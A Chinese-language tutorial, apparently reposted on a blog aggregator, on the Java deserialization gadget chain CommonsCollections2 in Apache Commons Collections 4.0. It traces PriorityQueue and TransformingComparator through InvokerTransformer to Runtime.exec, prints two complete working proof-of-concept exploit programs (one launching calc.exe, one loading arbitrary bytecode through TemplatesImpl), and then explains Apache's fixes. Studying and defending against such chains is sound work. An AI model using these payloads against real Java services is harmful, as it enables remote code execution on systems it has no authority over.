Java反序列化之CommonsCollections2链的学习

一、前言

Apache Commons Collections 是一个著名的辅助开发库,包含了一些Java中没有的数据结构和辅助方法,不过随着Java 9 以后的版本中原生库功能的丰富,以及反序列化漏洞的影响,它也在逐渐被升级或替代。

在2015年底的commons-collections反序列化利用被提出时,Apache Commons Collections有以下两个分支版本:

  • commons-collections:commons-collections
  • org.apahce.commons: commonst-collections4

可⻅,groupId和artifactId都变了。前者是Commons Collections⽼的版本包,当时版本号是3.2.1;后 者是官⽅在2013年推出的4版本,当时版本号是4.0。

官⽅认为旧的commons-collections有⼀些架构和API设计上的问题,但修复这些问题,会产⽣⼤量不能 向前兼容的改动。所以,commons-collections4不再认为是⼀个⽤来替换commons-collections的新版 本,⽽是⼀个新的包,两者的命名空间不冲突,因此可以共存在同⼀个项⽬中。 那么很⾃然有个问题,既然3.2.1中存在反序列化利⽤链,那么4.0版本是否存在呢?

二、commons-collections4的改动

因为两者可以共存,可以将两个包安装到同一个项目中比较:

<dependencies><!-- https://mvnrepository.com/artifact/commons-collections/commonscollections --><dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version></dependency><!-- https://mvnrepository.com/artifact/org.apache.commons/commonscollections4 --><dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version></dependency>
</dependencies

因为老的Gadget 中依赖的包名都是 org.apache.commons.collections , 而新的包名已经变成 org.apache.commons.collections4。 我们用熟悉的CommonsCollections6 利用链做例子,直接把代码拷贝一遍,并且将所有 import org.apache.commons.collections.* 改成 import org.apache.commmons.collections4.*

此时 IDE 爆出了一个错误,原因是 LazyMap.decorate 这个方法没了:

我们查看下 Commons.collection3中 decorate的定义,代码很简单

   public static Map decorate(Map map, Transformer factory) {return new LazyMap(map, factory);}

这个方法不过就是 LazyMap 构造函数的一个包装,而在 commons.collection4 中这是改了个名字叫 lazyMap:

    public static <K, V> LazyMap<K, V> lazyMap(Map<K, V> map, Factory<? extends V> factory) {return new LazyMap(map, factory);}

所以我们将Gadget中出错的代码换一下名字:
 

Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);

解决了错误,成功执行代码 

同理,之前的 CC1、CC3利用链都可以在 commonscollections4 的包中使用。

三、CommonsCollections2 利用链

commons-collections 这个包之所以能攒出那么多的利用链来,除了因为其使用量大,技术上的原因是其中包含了一些可以执行任意方法的Transformer。 所以,在commons-collections 中找 Gadget的过程,实际上可以简化为,找一条从 Serialization#read Object()  方法到 Transformer#transform()  方法的调用链

故而,我们学习下CommonsCollections2 利用链,其用到的关键的两个类如下:

  • java.util.PriorityQueue
  • org.apache.commons.collections4.comparators.TransformingComparator

java.util.PriorityQueue 是一个有自己 readObject()  方法的类:

org.apache.commons.collections4.comparators.TransformingComparator 中有调用 transform() 方法 的函数,且里面的transformer来自于构造函数的传参:

TransformingComparator.classpublic TransformingComparator(Transformer<? super I, ? extends O> transformer) {this(transformer, ComparatorUtils.NATURAL_COMPARATOR);}public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {this.decorated = decorated;this.transformer = transformer;}
public int compare(final I obj1, final I obj2) {final O value1 = this.transformer.transform(obj1);final O value2 = this.transformer.transform(obj2);return this.decorated.compare(value1, value2);
}

所以,CommonsCollections2 利用链 实际就是一条从 PriorityQueue 到 TransformingComparator 的利用链。

Gadget chain:

  • ObjectInputStream.readObject()
    • PriorityQueue.readObject()
    • PriorityQueue.heapify()
    • PriorityQueue.siftDown()
    • PriorityQueue.siftDownUsingComparator()
    • TransformingComparator.compare()
      • InvokerTransformer.transform()
        • Method.invoke()
          • Runtime.exec() 

了解下他们是怎么连接起来的。 PriorityQueue#readObject() 中调用了 heapify()  方法 , heapify() 中调用了 siftDown() , siftDown() 中调用了 siftDownUsingComparator() , siftDownUsingComparator() 中调用的 comparator.compare()  ,于是就连接到上面的 TransformingComparator了:

 PriorityQueue.classprivate void heapify() {for(int var1 = (this.size >>> 1) - 1; var1 >= 0; --var1) {this.siftDown(var1, this.queue[var1]);}private void siftDown(int var1, E var2) {if (this.comparator != null) {this.siftDownUsingComparator(var1, var2);} else {this.siftDownComparable(var1, var2);}private void siftDownUsingComparator(int var1, E var2) {int var4;for(int var3 = this.size >>> 1; var1 < var3; var1 = var4) {var4 = (var1 << 1) + 1;Object var5 = this.queue[var4];int var6 = var4 + 1;if (var6 < this.size && this.comparator.compare(var5, this.queue[var6]) > 0) {var4 = var6;var5 = this.queue[var6];}if (this.comparator.compare(var2, var5) <= 0) {break;}this.queue[var1] = var5;}this.queue[var1] = var2;}

this.comparator 和 this.queue来自于 PriorityQueue的构造函数传参中中:

PriorityQueue.class   private final Comparator<? super E> comparator;public PriorityQueue(int var1, Comparator<? super E> var2) {this.size = 0;this.modCount = 0;if (var1 < 1) {throw new IllegalArgumentException();} else {this.queue = new Object[var1];this.comparator = var2;}}

总结一下:

  • java.util.PriorityQueue 是一个优先队列(Queue) ,基于二叉堆实现,队列中每一个元素有自己的优先级,节点之间按照优先级大小排序成一棵树
  • 反序列化时为什么需要调用 heapify() 的方法? 为了反序列化后,需要恢复这个结构的顺序
  • 排序是将靠大的元素下移实现的。siftDown()  是将节点下移的函数, 而 comparator.compare() 用来比较元素的大小
  • TransformingComparator 实现了 java.util.Comparator 接口, 这个接口用于定义两个对象如何进行比较。 siftDownUsingComparator() 中就是使用这个接口的compare() 方法比较树的节点

关于 PriorityQueue 这个数据结构的具体原理,可以参考这篇⽂章:PriorityQueue源码分析 - linghu_java - 博客园

开始编写POC,⾸先,还是创建Transformer:

Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1) };
Transformer[] transformers = new Transformer[]{new ConstantTrransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[] {String.class}, new String[]{"calc.exe"})};Transformer transformerChain= new ChainedTransformer(fakeTransformers);

再创建一个 TransformingComparator ,传入我们的 Transformer:

Comparator comparator = new TransformingComparator(transformerChain);
实例化 PriorityQueue 对象,第⼀个参数是初始化时的⼤⼩,⾄少需要 2 个元素才会触发排序和⽐较, 所以是2 ;第⼆个参数是⽐较时的 Comparator ,传⼊前⾯实例化的 comparator
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
后⾯随便添加了 2 个数字进去,这⾥可以传⼊⾮ null 的任意对象,因为我们的 Transformer 是忽略传⼊参数的。
最后,将真正的恶意 Transformer 设置上
setFieldValue(transformerChain, "iTransformers", transformers);

完整的POC如下:
 

运行环境:
java 1.8.0_71

commons-collections4.0

CommonsCollections2.javapackage com.govuln.shiroattack;import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;public class CommonsCollections2 {public static void setFieldValue(Object obj, String  fieldName, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0] }),new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);Comparator comparator = new TransformingComparator(transformerChain);PriorityQueue queue = new PriorityQueue(2, comparator);queue.add(1);queue.add(2);setFieldValue(transformerChain, "iTransformers", transformers);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object) ois.readObject();}
}

四、使用无Transformer数组改进 CommonsCollections2利用链

前文说过利用 TemplatesImpl 可以构造出无 Transformer数组 的利用链,这里将CC2这条链也改进下。

首先,还是创建一个 TemplatesImpl对象:

        Templates obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});setFieldValue(obj,"_name", "Hello");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

创建⼀个⼈畜⽆害的 InvokerTransformer 对象,并⽤它实例化 Comparator
        Transformer transformer = new InvokerTransformer("toString", null, null);Comparator comparator = new TransformingComparator(transformer);

实例化 PriorityQueue ,但是此时向队列⾥添加的元素就是我们前⾯创建的 TemplatesImpl 对象了:
        PriorityQueue queue = new PriorityQueue(2, comparator);queue.add(obj);queue.add(obj);
因为我们这⾥⽆法再使⽤ Transformer 数组,所以也就不能 ⽤ ConstantTransformer 来初始化变量,需要接受外部传⼊的变量。⽽在 Comparator#compare() 时,队列⾥的元素将作为参数传⼊ transform() ⽅法,这就是传给 TemplatesImpl#newTransformer 的参数

最后⼀步,将 toString ⽅法改成恶意⽅法 newTransformer
setFieldValue(transformer, "iMethodName", "newTransformer");

完整的poc如下:

运行环境:
java 1.8.0_71

commons-collections4.0

templatesForCommonsCollections2.javapackage com.govuln.shiroattack;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;public class templatesForCommonsCollections2 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}protected static byte[] getBytescode() throws Exception {ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.get(Evil.class.getName());return clazz.toBytecode();}public static void main(String[] args) throws Exception{Templates obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});setFieldValue(obj,"_name", "Hello");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());Transformer transformer = new InvokerTransformer("toString", null, null);Comparator comparator = new TransformingComparator(transformer);PriorityQueue queue = new PriorityQueue(2, comparator);queue.add(obj);queue.add(obj);setFieldValue(transformer, "iMethodName", "newTransformer");ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}
}

五、修复说明

1、PriorityQueue的利⽤链是否⽀持在commons-collections 3中使⽤?

不能,因为利用链的关键类 org.apache.commons.collections4.comparators.TransformingComparator,在 commons-collections4.0 以前没有实现 Serializable接口,无法在序列化中使用

2、Apache Commons Collections 官方是如何修复反序列化漏洞的?

Apache Commons Collections 官⽅在 2015 年底得知序列化相关的问题后,就在两个分⽀
上同时发布了新的版本, 4.1 3.2.2
先看 3.2.2 ,通过 diff 可以发现,新版代码中增加了⼀个⽅法
FunctorUtils#checkUnsafeSerialization ,⽤于检测反序列化是否安全。如果开发者没有设置全
局配置 org.apache.commons.collections.enableUnsafeSerialization=true ,即默认情况下会
抛出异常。
这个检查在常⻅的危险 Transformer
InstantiateTransformer InvokerTransformer PrototypeFactory CloneTransforme
r 等)的 readObject ⾥进⾏调⽤,所以,当我们反序列化包含这些对象时就会抛出⼀个异常:
再看 4.1 ,修复⽅式⼜不⼀样。 4.1 ⾥,这⼏个危险 Transformer 类不再实现 Serializable 接⼝,也就
是说,他们⼏个彻底⽆法序列化和反序列化了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/469624.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

前端web

题目&#xff1a;制作带有下拉悬停菜单的导航栏 效果图 一、先制作标签 <body> <div id"menu"> <div id"container"> <div class"item">游戏1 <div class…

【大数据学习 | kafka高级部分】kafka中的选举机制

controller的选举 首先第一个选举就是借助于zookeeper的controller的选举 第一个就是controller的选举&#xff0c;这个选举是借助于zookeeper的独享锁实现的&#xff0c;先启动的broker会在zookeeper的/contoller节点上面增加一个broker信息&#xff0c;谁创建成功了谁就是主…

Android 开发指南:初学者入门

Android 是全球最受欢迎的移动操作系统之一&#xff0c;为开发者提供了丰富的工具和资源来创建各种类型的应用程序。本文将为你提供一个全面的入门指南&#xff0c;帮助你从零开始学习 Android 开发。 目录 1. 了解 Android 平台[1]2. 设置开发环境[2]3. 学习基础知识[3]4. 创…

漏洞挖掘 | 某医院小程序支付漏洞+越权

漏洞挖掘 | 某医院小程序支付漏洞越权 登陆后点击个人信息&#xff0c;抓包&#xff0c;放到repeter模块 修改strUserID参数可以越权查看别人信息 放intruder模块可以跑数据&#xff0c;这里有几万信息泄露 回到首页&#xff0c;点击医生咨询功能点 随便选一个需要付费的医…

MFC图形函数学习07——画扇形函数

绘制扇形函数是MFC中绘图的基本函数&#xff0c;它绘制的仍是由椭圆弧与椭圆中心连线构成的椭圆扇形&#xff0c;特例是由圆弧与圆心连线构成的圆扇形。 一、绘制扇形函数 原型&#xff1a;BOOL Pie(int x1,int y1,int x2,int y2,int x3,int y3,int x4,int y4); …

基于Python的膳食健康系统

作者&#xff1a;计算机学姐 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等&#xff0c;“文末源码”。 专栏推荐&#xff1a;前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码、微信小程序源码 精品专栏&#xff1a;…

头歌网络安全(11.12)

头歌禁止复制解决 必须先下篡改猴&#xff01;&#xff01;&#xff01;&#xff01; 头歌复制助手 Educoder Copy Helperhttps://scriptcat.org/zh-CN/script-show-page/1860 Java生成验证码 第1关&#xff1a;使用Servlet生成验证码 任务描述 本关任务&#xff1a;使用se…

ROM修改进阶教程------安卓14 安卓15去除app签名验证的几种操作步骤 详细图文解析

在安卓14 安卓15的固件中。如果修改了系统级别的app。那么就会触发安卓14 15的应用签名验证。要么会导致修改的固件会进不去系统,或者进入系统有bug。博文将从几方面来解析去除安卓14 15应用签名验证的几种方法。 💝💝💝通过博文了解: 1💝💝💝-----安卓14去除…

第七部分:2. STM32之ADC实验--AD多通道(AD采集三路传感器模块实验:光敏传感器、热敏传感器、反射式传感器附赠温湿度传感器教程)

这个多通道采用非扫描模式--单次转换模式 1.代码配置链路图 2. ADC的输入通道 3.ADC的非扫描模式的转换模式&#xff08;单次和连续&#xff09; 4.ADC的扫描模式的转换模式&#xff08;单次和连续&#xff09; 5.采集校准 代码实验&#xff1a; 代码部分&#xff1a; #inclu…

crond 任务调度 (Linux相关指令:crontab)

相关视频链接 crontab 进行 定时任务 的设置 概述 任务调度&#xff1a;是指系统在某个时间执行的特定的命令或程序 任务调度的分类&#xff1a; 1.系统工作&#xff1a;有些重要的工作必须周而复始地执行。如病毒扫描等。 2.个别用户可能希望执行某些程序&#xff0c;比如…

基于python 的opencv 使用GrabCut算法分割图像代码

#利用grabcut算法分割图像import numpy as np import cv2 from matplotlib import pyplot as plt import warningswarnings.filterwarnings("ignore", module "matplotlib")imgpath E:/code/image_opencv_test/lena.jpg img cv2.imread(imgpath)Coords1x…

AndroidStudio-文本显示

一、设置文本的内容 1.方式&#xff1a; &#xff08;1&#xff09;在XML文件中通过属性&#xff1a;android:text设置文本 例如&#xff1a; <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas.andr…

css:没错又是我

背景 给元素添加背景样式 还可以设置背景颜色、背景图片&#xff08;教练我要学这个&#xff09;、背景平铺、背景图片位置、背景图像固定 背景颜色 这个我们用过&#xff0c;就是&#xff1a; a {background-color: hotpink; } 一般默认值是transparent&#xff0c;也就…

使用Git工具在GitHub的仓库中上传文件夹(超详细)

如何使用Git工具在GitHub的仓库中上传文件夹&#xff1f; 如果觉得博主写的还可以&#xff0c;点赞收藏关注噢~ 第一步&#xff1a;拥有一个本地的仓库 可以fork别人的仓库或者自己新创建 fork别人的仓库 或者自己创建一个仓库 按照要求填写完成后&#xff0c;点击按钮创建…

uniapp的基本使用(easycom规范和条件编译)和uview组件的安装和使用

文章目录 1、uniapp1.uview组件安装2.uview-plus组件安装 2、条件编译3、easycom规范1.组件路径符合规范2.自定义easycom配置的示例 总结 1、uniapp UniApp的UI组件库&#xff0c;如TMUI、uViewUI、FirstUI、TuniaoUI、ThorUI等&#xff0c;这些组件库适用于Vue3和TypeScript&…

攻防世界37-unseping-CTFWeb

攻防世界37-unseping-CTFWeb <?php highlight_file(__FILE__);class ease{private $method;private $args;function __construct($method, $args) {$this->method $method;$this->args $args;}function __destruct(){if (in_array($this->method, array("…

【大数据学习 | HBASE高级】region split机制和策略

1. region split机制 ​ HRegionServer拆分region的步骤是&#xff0c;先将该region下线&#xff0c;然后拆分&#xff0c;将其子region加入到hbase:meta表中&#xff0c;再将他们加入到原本的HRegionServer中&#xff0c;最后汇报Master。 split前&#xff1a;hbase:meta表有…

FMC 扩展子卡6 路 422,8 组 LVDS,8 路 GPIO

FMC 扩展子卡6 路 422,8 组 LVDS,8 路 GPIO 卡是一款支持多路 LVCMOS 和 LVDS 信号互转的 FMC 扩展子板。它能支持 6 路 422 信号的输入 / 输出 ,8 组 LVDS 信号的输入 / 输出和 8 路 GPIO 信号的输入 / 输出。本产品基于一些逻辑转换芯片而设计&#xff0c;能实现差分信号转单…

old-cms(原生PHP开发的企业网站管理系统)

old-cms是一个使用原生PHP开发的实用的PHP企业网站管理系统&#xff0c;包括企业网站常用的功能板块&#xff0c;如&#xff1a;产品管理、新闻管理、栏目管理、模板标签管理、分类管理、诚聘英才、在线留言反馈、关于我们&#xff08;公司简介&#xff09;等等&#xff0c;也有…

IPv4与IPv6的优缺点

IPv4 和 IPv6 都是 TCP/IP 协议的版本。IP 是指互联网协议&#xff0c;是传输控制协议/互联网协议套件&#xff08;TCP/IP&#xff09;的主要部分。 TCP/IP 是一套标准和规则&#xff0c;用于规范不同网络上的设备之间打包数据&#xff08;数据报&#xff09;的传输和交换。互…